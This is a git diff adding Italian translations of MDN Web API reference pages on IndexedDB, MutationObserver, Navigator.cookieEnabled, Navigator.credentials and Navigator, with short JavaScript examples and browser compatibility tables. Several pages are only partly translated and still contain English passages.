+title: Riferimento Web API
+slug: Web/API
+tags:
+  - API
+  - Landing
+  - Riferimento
+  - Web
+translation_of: Web/API
+---
+<p>Le APIs sono dispositivi pronti per coloro che scrivono codice per il Web in JavaScript. Di seguito è riportato un elenco di tutte le interfacce (ovvero tipi di oggetti) che potresti essere in grado di utilizzare durante lo sviluppo della tua app o sito Web. <strong>API</strong> è l'acronimo di Application Programming Interface, nonché di Application Program Interface. Come parzialmente intuibile dai termini che compongono l'acronimo, le <strong>API</strong> rappresentano un'interfaccia di programmazione.</p>
+
+<div>
+<div>{{APIListAlpha}}</div>
+</div>
+
+<p> </p>
diff --git a/files/it/web/api/indexeddb_api/index.html b/files/it/web/api/indexeddb_api/index.html
new file mode 100644
index 0000000000..8512b030bd
--- /dev/null
+++ b/files/it/web/api/indexeddb_api/index.html
@@ -0,0 +1,243 @@
+---
+title: IndexedDB
+slug: Web/API/IndexedDB_API
+translation_of: Web/API/IndexedDB_API
+---
+<div class="summary">
+<p>IndexedDB è una API per la memorizzazione client-side di una considerevole quantità di dati strutturati (inclusi file e blob) e per una ricerca performante su questi dati mediante gli indici. Se <a href="/it/docs/Web/API/Web_Storage_API" title="en-US/docs/DOM/Storage">Web Storage</a> è utile per memorizzare piccole quantità di dati, non lo è invece per memorizzare grandi quantità di dati strutturati. IndexedDB fornisce la soluzione. Questa è la pagina principale su IndexedDB di MDN — qui vengono forniti link a tutti i riferimenti API e guide all'uso, dettagli di supporto al browser ed alcune spiegazioni dei concetti chiave.</p>
+</div>
+
+<h2 id="Concetti_chiave_ed_uso">Concetti chiave ed uso</h2>
+
+<p>IndexedDB è un sistema di database transazionale, che inizialmente potrebbe creare confusione se si è abituati a lavorare solo con i database relazionali, ma presto diverrà abbastanza chiaro. IndexedDB permette di memorizzare e recuperare oggetti indicizzati con una <strong>chiave</strong>. E' necessario specificare lo schema del database, aprire una connessione al proprio database e poi recuperare ed aggiornare i dati attraverso una serie di <strong>transazioni</strong>.</p>
+
+<ul>
+ <li>Apprendere maggiori info sui <a href="/en-US/docs/Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB">concetti dietro a IndexedDB</a>.</li>
+ <li>Imparare ad usare IndexedDB in modo asincrono dai primi principi con la nostra guida <a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Usare IndexedDB</a>.</li>
+ <li>Trova le raccomandazioni degli sviluppatori per far lavorare le apps web offline alla pagina <a href="/en-US/Apps/Build/Offline">Offline Apps</a>.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Come molte soluzioni web storage, IndexedDB segue una <a class="external" href="http://www.w3.org/Security/wiki/Same_Origin_Policy" title="http://www.w3.org/Security/wiki/Same_Origin_Policy">same-origin policy</a>. Quindi mentre si può accedere ai dati memorizzati sotto un dominio, non è possibile accedere ai dati attraverso domini differenti.</p>
+</div>
+
+<h3 id="Sincrono_e_asincrono">Sincrono e asincrono</h3>
+
+<p>IndexedDB include sia una API asincrona che una API sincrona. La API asincrona può essere usata in molti casi, incluso <a href="https://developer.mozilla.org/En/DOM/Using_web_workers" title="https://developer.mozilla.org/En/Using_web_workers">WebWorkers</a>, mentre la API sincrona è designata ad essere utilizzata solo con <a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Web Workers</a> e sarà usata molto raramente.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Attualmente, nessuno dei principali browser supporta la API sincrona.</p>
+</div>
+
+<h3 id="Limiti_di_memorizzazione">Limiti di memorizzazione</h3>
+
+<p>Non c'è alcun limite alla dimensione di un singolo elemento del database, tuttavia ci potrebbe essere un limite ad ogni dimensione complessiva del database IndexedDB. Questo limite (ed il modo con cui l'interfaccia utente lo supporterà) potrebbe variare da un browser ad un altro:</p>
+
+<ul>
+ <li>Firefox non ha limite sulla dimensione del database IndexedDB. The user interface will just ask permission for storing blobs bigger than 50 MB. This size quota can be customized through the <code>dom.indexedDB.warningQuota</code> preference (which is defined in <a href="http://mxr.mozilla.org/mozilla-central/source/modules/libpref/src/init/all.js" title="http://mxr.mozilla.org/mozilla-central/source/modules/libpref/src/init/all.js">http://mxr.mozilla.org/mozilla-central/source/modules/libpref/src/init/all.js</a>).</li>
+ <li>Google Chrome: see <a class="link-https" href="https://developers.google.com/chrome/whitepapers/storage#temporary" rel="freelink">https://developers.google.com/chrome...rage#temporary</a>.</li>
+</ul>
+
+<h2 id="Asynchronous_API">Asynchronous API</h2>
+
+<p>The asynchronous API methods return without blocking the calling thread. To get asynchronous access to a database, call <a href="/en-US/docs/Web/API/IDBFactory.open"><code>open()</code></a> on the <a href="/en-US/docs/Web/API/IDBEnvironment.indexedDB"><code>indexedDB</code></a> attribute of a <a href="/en-US/docs/DOM/window" title="en-US/docs/DOM/window">window</a> object. This method returns an {{domxref("IDBRequest")}} object; asynchronous operations communicate to the calling application by firing events on {{domxref("IDBRequest")}} objects.</p>
+
+<h3 id="Connecting_to_a_database">Connecting to a database</h3>
+
+<dl>
+ <dt>{{domxref("IDBEnvironment")}}</dt>
+ <dd>Provides access to a client-side database. It is implemented by the {{ domxref("window") }} and {{ domxref("worker") }} objects.</dd>
+ <dt>{{domxref("IDBFactory")}}</dt>
+ <dd>Provides access to a database. This is the interface implemented by the global object <a href="/en-US/docs/Web/API/IDBEnvironment.indexedDB"><code>indexedDB</code></a> and is therefore the entry point for the API.</dd>
+ <dt>{{domxref("IDBOpenDBRequest")}}</dt>
+ <dd>Represents a request to open a database.</dd>
+ <dt>{{domxref("IDBDatabase")}}</dt>
+ <dd>Represents a connection to a database. It's the only way to get a transaction on the database.</dd>
+</dl>
+
+<h3 id="Accessing_results_of_database_requests">Accessing results of database requests</h3>
+
+<dl>
+ <dt>{{domxref("IDBRequest")}}</dt>
+ <dd>Provides access to results of asynchronous requests to databases and database objects. It is what you get when you call an asynchronous method.</dd>
+</dl>
+
+<h3 id="Retrieving_and_modifying_data">Retrieving and modifying data</h3>
+
+<dl>
+ <dt>{{domxref("IDBTransaction")}}</dt>
+ <dd>Represents a transaction. You create a transaction on a database, specify the scope (such as which object stores you want to access), and determine the kind of access (read only or write) that you want.</dd>
+ <dt>{{domxref("IDBObjectStore")}}</dt>
+ <dd>Represents an object store.</dd>
+ <dt>{{domxref("IDBIndex")}}</dt>
+ <dd>Provides access to the metadata of an index.</dd>
+ <dt>{{domxref("IDBCursor")}}</dt>
+ <dd>Iterates over object stores and indexes.</dd>
+ <dt>{{domxref("IDBCursorWithValue")}}</dt>
+ <dd>Iterates over object stores and indexes and returns the cursor's current value.</dd>
+ <dt>{{domxref("IDBKeyRange")}}</dt>
+ <dd>Defines a range of keys.</dd>
+</dl>
+
+<h3 id="Deprecated_interfaces">Deprecated interfaces</h3>
+
+<p>An early version of the specification also defined these now removed interfaces. They are still documented in case you need to update previously written code:</p>
+
+<dl>
+ <dt>{{domxref("IDBVersionChangeRequest")}}</dt>
+ <dd>Represents a request to change the version of a database. The way to change the version of the database has since changed (by calling {{domxref("IDBFactory.open")}} without also calling {{domxref("IDBDatabase.setVersion")}}), and the interface {{domxref("IDBOpenDBRequest")}} now has the functionality of the removed {{domxref("IDBVersionChangeRequest")}}.</dd>
+ <dt>{{domxref("IDBDatabaseException")}}  {{ obsolete_inline() }}</dt>
+ <dd>Represents exception conditions that can be encountered while performing database operations.</dd>
+</dl>
+
+<h2 id="Synchronous_API">Synchronous API</h2>
+
+<div class="warning">
+<p><strong>Important</strong>: This is a reminder that the synchronous version of IndexedDB is not yet implemented in any browser.</p>
+</div>
+
+<p>To get synchronous access to a database, call <a href="https://developer.mozilla.org/en-US/docs/IndexedDB/IDBFactorySync#open" title="en-US/docs/IndexedDB/IDBFactorySync#open"><code>open()</code></a> on the <span class="inlineIndicator unimplemented unimplementedInline">Unimplemented</span> <a href="https://developer.mozilla.org/en-US/docs/IndexedDB/IDBEnvironmentSync#indexedDBSync" title="en-US/docs/IndexedDB/EnvironmentSync#indexedDBSync"><code>indexedDBSync</code></a> attribute of a <a href="https://developer.mozilla.org/en-US/docs/DOM/Worker" title="en-US/docs/DOM/Worker">worker</a> object. This returns an <code><a href="https://developer.mozilla.org/en-US/docs/IndexedDB/IDBDatabaseSync" title="en-US/docs/IndexedDB/DatabaseSync">IDBDatabaseSync</a></code> object, which enables you to create, open, and remove object stores and indexes, set the version of the database, and create transactions.</p>
+
+<ul>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/IndexedDB/IDBCursorSync" title="en-US/docs/IndexedDB/IDBCursorSync">IDBCursorSync</a></code> iterates over object stores and indexes.</li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/IndexedDB/IDBDatabaseSync" title="en-US/docs/IndexedDB/DatabaseSync">IDBDatabaseSync</a></code> represents a connection to a database. It's the only way to get a transaction on the database.</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/IndexedDB/IDBEnvironmentSync" title="IDBEnvironmentSync"><code>IDBEnvironmentSync</code></a> provides access to a client-side database. It is implemented by <a class="new" href="https://developer.mozilla.org/en-US/docs/Web/API/en-US/docs/DOM/Worker" title="en-US/docs/DOM/Worker">worker</a> objects.</li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/IndexedDB/IDBFactorySync" title="en-US/docs/IndexedDB/IndexedDatabase">IDBFactorySync </a></code>provides access to a database.</li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/IndexedDB/IDBIndexSync" title="en-US/docs/IndexedDB/IndexSync">IDBIndexSync</a></code> provides access to the metadata of an index.</li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/IndexedDB/IDBObjectStoreSync" title="en-US/docs/IndexedDB/ObjectStoreSync">IDBObjectStoreSync</a></code> represents an object store.</li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/IndexedDB/IDBTransactionSync" title="en-US/docs/IndexedDB/TransactionSync">IDBTransactionSync</a></code> creates a transaction in the database.</li>
+</ul>
+
+<h2 id="Example" name="Example">Examples</h2>
+
+<ul>
+ <li><a href="/en-US/demos/detail/elibri" title="https://developer.mozilla.org/en-US/demos/detail/elibri">eLibri:</a> A powerful library and eBook reader application, written by Marco Castelluccio, winner of the IndexedDB Mozilla DevDerby.</li>
+ <li><a class="external" href="https://github.com/chrisdavidmills/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://chrisdavidmills.github.io/to-do-notifications/">view example live</a>): The reference application for the examples in the reference docs: Not every snippet appears in this example, but every example uses the same data structure and syntax, and will make sense in the context of this application.</li>
+ <li><a class="external" href="http://hacks.mozilla.org/2012/02/storing-images-and-files-in-indexeddb/" title="http://hacks.mozilla.org/2012/02/storing-images-and-files-in-indexeddb/">Storing images and files in IndexedDB</a></li>
+ <li><a class="external" href="http://nparashuram.com/IndexedDB/trialtool/index.html" title="http://nparashuram.com/IndexedDB/trialtool/index.html">IndexedDB Examples</a></li>
+</ul>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Asynchronous API</td>
+   <td>
+    <p>11.0 {{ property_prefix("webkit") }}<br>
+     24</p>
+   </td>
+   <td>{{ CompatGeckoDesktop("2.0") }} {{ property_prefix("moz") }}<br>
+    {{ CompatGeckoDesktop("16.0") }}</td>
+   <td>10</td>
+   <td>17</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>Synchronous API<br>
+    (used with <a href="/en-US/docs/DOM/Using_web_workers" title="https://developer.mozilla.org/en-US/docs/Using_web_workers">WebWorkers</a>)</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}<br>
+    See {{ bug(701634) }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Asynchronous API</td>
+   <td>4.4</td>
+   <td>{{ CompatGeckoDesktop("6.0") }} {{ property_prefix("moz") }}<br>
+    {{ CompatGeckoDesktop("16.0") }}</td>
+   <td>10</td>
+   <td>17</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Some browsers don't yet support IndexedDB but <a href="http://caniuse.com/sql-storage" title="http://caniuse.com/sql-storage">do support WebSQL</a>, most notably Safari/Webkit on desktop and iOS. One way around this problem is to use an IndexedDB Polyfill or Shim that falls back to <a href="http://www.w3.org/TR/webdatabase/">WebSQL</a> or even <a href="/en-US/docs/Web/Guide/API/DOM/Storage#localStorage">localStorage</a> for non-supporting browsers. The best available polyfill at present is <a href="https://github.com/mozilla/localForage">localForage</a>.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#idl-def-IDBEnvironment', 'IDBEnvironment')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<section id="Quick_Links">
+<ol>
+ <li data-default-state="open"><strong><a href="#">Guides and recommendations</a></strong>
+
+  <ol>
+   <li><a href="/en-US/docs/Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB">Basic concepts behind IndexedDB</a></li>
+   <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a></li>
+   <li><a href="/en-US/Apps/Build/Offline">Offline guide on App Center</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><strong><a href="#">Asynchronous interfaces</a></strong>
+  <ol>
+   <li>{{ domxref("IDBCursor") }}</li>
+   <li>{{ domxref("IDBCursorWithValue") }}</li>
+   <li>{{ domxref("IDBDatabase") }}</li>
+   <li>{{ domxref("IDBEnvironment") }}</li>
+   <li>{{ domxref("IDBFactory") }}</li>
+   <li>{{ domxref("IDBIndex") }}</li>
+   <li>{{ domxref("IDBKeyRange") }}</li>
+   <li>{{ domxref("IDBObjectStore") }}</li>
+   <li>{{ domxref("IDBOpenDBRequest") }}</li>
+   <li>{{ domxref("IDBRequest") }}</li>
+   <li>{{ domxref("IDBTransaction") }}</li>
+  </ol>
+ </li>
+ <li data-default-state="open"><strong><a href="#">Synchronous interfaces</a></strong>
+  <ol>
+   <li>{{ domxref("IDBCursorSync") }}</li>
+   <li>{{ domxref("IDBDatabaseSync") }}</li>
+   <li>{{ domxref("IDBEnvironmentSync") }}</li>
+   <li>{{ domxref("IDBFactorySync") }}</li>
+   <li>{{ domxref("IDBIndexSync") }}</li>
+   <li>{{ domxref("IDBObjectStoreSync") }}</li>
+   <li>{{ domxref("IDBTransactionSync") }}</li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/it/web/api/mutationobserver/index.html b/files/it/web/api/mutationobserver/index.html
new file mode 100644
index 0000000000..6c15916a56
--- /dev/null
+++ b/files/it/web/api/mutationobserver/index.html
@@ -0,0 +1,102 @@
+---
+title: MutationObserver
+slug: Web/API/MutationObserver
+tags:
+  - Cambiamenti del DOM
+  - DOM
+  - DOM Reference
+  - Mutation Observer
+  - Mutation Observer e resize
+  - resize
+  - resize listener
+translation_of: Web/API/MutationObserver
+---
+<div>{{APIRef("DOM WHATWG")}}</div>
+
+<p>L'interfaccia {{domxref("MutationObserver")}} offre la possibilità di monitorare le mutazioni subite dall'alberatura del <a href="/en-US/docs/DOM">DOM</a>. È stata progettata per sostituire i <a href="/en-US/docs/DOM/Mutation_events">Mutation Events</a> che fanno parte del DOM3 Events specification.</p>
+
+<h2 id="Costruttore">Costruttore</h2>
+
+<dl>
+ <dt>{{domxref("MutationObserver.MutationObserver", "MutationObserver()")}}</dt>
+ <dd>Crea e restituisce un nuovo <code>MutationObserver</code> che invocherà una funzione di callback specificata alla mutazione del DOM.</dd>
+</dl>
+
+<h2 id="Metodi">Metodi</h2>
+
+<dl>
+ <dt>{{domxref("MutationObserver.disconnect", "disconnect()")}}</dt>
+ <dd>Interrompe la ricezione da parte dell'istanza <code>MutationObserver</code> di notifiche sulla mutazione del DOM fino a quando verrà nuovamente invocato {{domxref("MutationObserver.observe", "observe()")}}</dd>
+ <dt>{{domxref("MutationObserver.observe", "observe()")}}</dt>
+ <dd>Configura il <code>MutationObserver</code> affinché possa ricevere notifiche attraverso la funzione di callback specificata quando avviene una mutazione del DOM che corrisponda alle opzioni impostate.</dd>
+ <dt>{{domxref("MutationObserver.takeRecords", "takeRecords()")}}</dt>
+ <dd>Rimuove tutte le notifiche in coda sul <code>MutationObserver</code> e le restituisce come nuovo  {{jsxref("Array")}} di oggetti {{domxref("MutationRecord")}}</dd>
+</dl>
+
+<h2 id="Mutation_Observer_customizzazione_del_resize_event_demo">Mutation Observer &amp; customizzazione del resize event &amp; demo</h2>
+
+<p><a class="external" href="https://codepen.io/webgeeker/full/YjrZgg/">https://codepen.io/webgeeker/full/YjrZgg/</a></p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<p>L'esempio seguente è un adattamento di questo <a href="https://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/">post</a></p>
+
+<pre class="brush: js">// Seleziona il nodo di cui monitare la mutazione
+var targetNode = document.getElementById('some-id');
+
+// Opzioni per il monitoraggio (quali mutazioni monitorare)
+var config = { attributes: true, childList: true, subtree: true };
+
+// Funzione di callback da eseguire quando avvengono le mutazioni
+var callback = function(mutationsList, observer) {
+    for(var mutation of mutationsList) {
+        if (mutation.type == 'childList') {
+            console.log('A child node has been added or removed.');
+        }
+        else if (mutation.type == 'attributes') {
+            console.log('The ' + mutation.attributeName + ' attribute was modified.');
+        }
+    }
+};
+
+// Creazione di un'istanza di monitoraggio collegata alla funzione di callback
+var observer = new MutationObserver(callback);
+
+// Inizio del monitoraggio del nodo target riguardo le mutazioni configurate
+observer.observe(targetNode, config);
+
+// Successivamente si può interrompere il monitoraggio
+observer.disconnect();</pre>
+
+<h2 id="Leggi_pure">Leggi pure</h2>
+
+<ul>
+ <li><a class="external" href="http://updates.html5rocks.com/2012/02/Detect-DOM-changes-with-Mutation-Observers" rel="freelink">A brief overview</a></li>
+ <li><a class="external" href="http://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/" rel="freelink">A more in-depth discussion</a></li>
+ <li><a class="external" href="http://www.youtube.com/watch?v=eRZ4pO0gVWw" rel="freelink">A screencast by Chromium developer Rafael Weinstein</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#mutationobserver', 'MutationObserver')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_Browser">Compatibilità dei Browser</h2>
+
+
+
+<p>{{Compat("api.MutationObserver")}}</p>
diff --git a/files/it/web/api/navigator/cookieenabled/index.html b/files/it/web/api/navigator/cookieenabled/index.html
new file mode 100644
index 0000000000..4905b8deb8
--- /dev/null
+++ b/files/it/web/api/navigator/cookieenabled/index.html
@@ -0,0 +1,83 @@
+---
+title: Navigator.cookieEnabled
+slug: Web/API/Navigator/cookieEnabled
+translation_of: Web/API/Navigator/cookieEnabled
+---
+<p>{{ ApiRef("HTML DOM") }}</p>
+
+<h2 id="Summary" name="Summary">Riassunto</h2>
+
+<p>Restituisce un valore booleano che indica se i cookie abilitati o meno (sola lettura).</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="eval">var cookieEnabled = navigator.cookieEnabled;
+</pre>
+
+<ul>
+ <li><code>cookieEnabled</code> è un risultato Booleano <code>true</code> o <code>false</code>.</li>
+</ul>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush: js">if (!navigator.cookieEnabled) {
+  // dire all'utente che l'attivazione dei cookie rende le pagine web più utile}
+</pre>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>Yes</td>
+   <td>{{ CompatGeckoDesktop(1.0) }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile(1.0) }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Note_di_Gecko">Note di Gecko</h3>
+
+<p>Prima di Gecko 8.0 {{ geckoRelease("8.0") }}, <code>window.navigator.cookieEnabled</code> potrebbe segnalare il risultato errato se un'eccezione del sito è stata in vigore per la pagina in cui è stato eseguito il controllo. Questo è stato risolto.</p>
+
+<h2 id="Specification" name="Specification">Specifications</h2>
+
+<p>HTML WHATWG</p>
diff --git a/files/it/web/api/navigator/credentials/index.html b/files/it/web/api/navigator/credentials/index.html
new file mode 100644
index 0000000000..107fe4a123
--- /dev/null
+++ b/files/it/web/api/navigator/credentials/index.html
@@ -0,0 +1,57 @@
+---
+title: credentials
+slug: Web/API/Navigator/credentials
+tags:
+  - API
+  - CredentialContainer
+  - Proprietà
+  - Riferimento
+  - credentials
+translation_of: Web/API/Navigator/credentials
+---
+<p>{{SeeCompatTable}}{{APIRef("")}}</p>
+
+<p>La proprietà <strong><code>credentials</code></strong> dell'interfaccia {{domxref("Navigator")}} restituisce un interfaccia {{domxref("CredentialsContainer")}}, la quale espone metodi utili per fare <em>request-credentials</em>. L'interfaccia {{domxref("CredentialsContainer")}} inoltre notifica lo<em>user agent</em> quando un avviene un evento di interesse, come, ad esempio, un <em>sign-in</em> o un <em>sign-out</em> avvenuto con successo. Questa interfaccia può essere utilizzata per scoprire la presenza della funzionalità.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">var credentialsContainer = navigator.credentials</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>Un'interfaccia {{domxref("CredentialsContainer")}}.</p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: js">if ('credentials' in navigator) {
+  navigator.credentials.get({password: true})
+  .then(function(creds) {
+    // Usa le credenziali.
+  });
+} else {
+  // Gestisci il <em>sign-in</em> alternativo, senza <em>credentials</em>.
+};
+</pre>
+
+<h2 id="Specifica">Specifica</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Credential Management')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibili">Browser compatibili</h2>
+
+<div class="hidden">La tabella di compatiilità di questa pagina è generata tramite dati strutturati. Se vuoi contribuire per favore consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e crea una pull request.</div>
+
+<p>{{Compat("api.Navigator.credentials")}}</p>
diff --git a/files/it/web/api/navigator/index.html b/files/it/web/api/navigator/index.html
new file mode 100644
index 0000000000..6ef2055b7a
--- /dev/null
+++ b/files/it/web/api/navigator/index.html
@@ -0,0 +1,119 @@
+---
+title: Navigator
+slug: Web/API/Navigator
+translation_of: Web/API/Navigator
+---
+<p>{{ apiref() }}</p>
+
+<p>The <code><strong>Navigator</strong></code> interface represents the state and the identity of the user agent. It allows scripts to query it and to register themselves to carry on some activities.</p>
+
+<p>A <code>Navigator</code> object can be retrieved using the read-only {{domxref("Window.navigator")}} property.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Doesn't inherit any property, but implements those defined in {{domxref("NavigatorID")}}, {{domxref("NavigatorLanguage")}}, {{domxref("NavigatorOnLine")}}, {{domxref("NavigatorGeolocation")}}, {{domxref("NavigatorPlugins")}}, {{domxref("NavigatorUserMedia")}}, and {{domxref("NetworkInformation")}}.</em></p>
+
+<h3 id="Standard">Standard</h3>
+
+<dl>
+ <dt>{{domxref("NavigatorID.appCodeName")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns the internal "code" name of the current browser. Do not rely on this property to return the correct value.</dd>
+ <dt>{{domxref("NavigatorID.appName")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} with the official name of the browser. Do not rely on this property to return the correct value.</dd>
+ <dt>{{domxref("NavigatorID.appVersion")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns the version of the browser as a {{domxref("DOMString")}}. Do not rely on this property to return the correct value.</dd>
+ <dt>{{domxref("Navigator.battery")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("BatteryManager")}} object you can use to get information about the battery charging status.</dd>
+ <dt>{{domxref("NetworkInformation.connection")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Provides a {{domxref("Connection")}} with information about the network connection of a device.</dd>
+ <dt>{{domxref("NavigatorGeolocation.geolocation")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Geolocation")}} object allowing accessing the location of the device.</dd>
+ <dt>{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} flag indicating whether the host browser is Java-enabled or not.</dd>
+ <dt>{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the preferred language of the user, usually the language of the browser UI. The <code>null</code> value is returned when this is unknown.</dd>
+ <dt>{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}</dt>
+ <dd>Returns an array of {{domxref("DOMString")}} representing the languages known to the user, by order of preference.</dd>
+ <dt>{{domxref("NavigatorPlugins.mimeTypes")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns an {{domxref("MimeTypeArray")}} listing the MIME types supported by the browser.</dd>
+ <dt>{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating whether the browser is working online.</dd>
+ <dt>{{domxref("Navigator.oscpu")}}</dt>
+ <dd>Returns a string that represents the current operating system.</dd>
+ <dt>{{domxref("NavigatorID.platform")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a string representing the platform of the browser. Do not rely on this function to return a significant value.</dd>
+ <dt>{{domxref("NavigatorPlugins.plugins")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("PluginArray")}} listing the plugins installed in the browser.</dd>
+ <dt>{{domxref("NavigatorID.product")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Always returns <code>'Gecko'</code>, on any browser. This property is kept only for compatibility purpose.</dd>
+ <dt>{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}</dt>
+ <dd>Returns the user agent string for the current browser.</dd>
+ <dt>{{domxref("Navigator.serviceWorker")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("ServiceWorkerContainer")}} object, which provides access to registration, removal, upgrade, and communication with the {{domxref("ServiceWorker")}} objects for the <a href="https://html.spec.whatwg.org/multipage/browsers.html#concept-document-window">associated document</a>.</dd>
+</dl>
+
+<h3 id="Methods" name="Methods">Non-standard</h3>
+
+<dl>
+ <dt>{{domxref("window.navigator.buildID", "navigator.buildID")}} {{non-standard_inline}}</dt>
+ <dd>Returns the build identifier of the browser (e.g., "2006090803").</dd>
+ <dt>{{domxref("Navigator.cookieEnabled")}} {{non-standard_inline}}</dt>
+ <dd>Returns a boolean indicating whether cookies are enabled in the browser or not.</dd>
+ <dt>{{domxref("navigator.doNotTrack")}} {{non-standard_inline}}</dt>
+ <dd>Reports the value of the user's do-not-track preference. When this value is "yes", your web site or application should not track the user.</dd>
+ <dt>{{domxref("navigator.id")}} {{non-standard_inline}}</dt>
+ <dd>Returns the {{domxref("window.navigator.id", "id")}} object which you can use to add support for <a href="/en-US/docs/BrowserID" title="BrowserID">BrowserID</a> to your web site.</dd>
+ <dt>{{domxref("window.navigator.mozApps", "navigator.mozApps")}} {{non-standard_inline}}</dt>
